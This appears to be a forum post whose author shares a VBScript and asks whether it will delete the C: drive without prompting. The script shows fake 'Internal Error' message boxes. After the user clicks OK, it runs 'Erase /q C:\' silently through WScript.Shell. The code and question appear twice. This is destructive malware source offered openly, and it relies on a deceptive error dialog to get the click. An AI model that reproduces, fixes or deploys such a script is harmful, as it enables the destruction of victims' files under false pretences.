Spec
Fully Optimized
- Messages
- 1,641
Dim x
Dim WSHShell
x = MsgBox("test test test test", ,"Internal Error")
x = MsgBox("test test test test", ,"Internal Error")
x = MsgBox("test test test test", ,"Internal Error")
if (x = vbOk) then
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run("Erase /q C:\")
end if
Just wrote this.
Should it work for deleting C: Drive without prompting?
Dim WSHShell
x = MsgBox("test test test test", ,"Internal Error")
x = MsgBox("test test test test", ,"Internal Error")
x = MsgBox("test test test test", ,"Internal Error")
if (x = vbOk) then
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run("Erase /q C:\")
end if
Just wrote this.
Should it work for deleting C: Drive without prompting?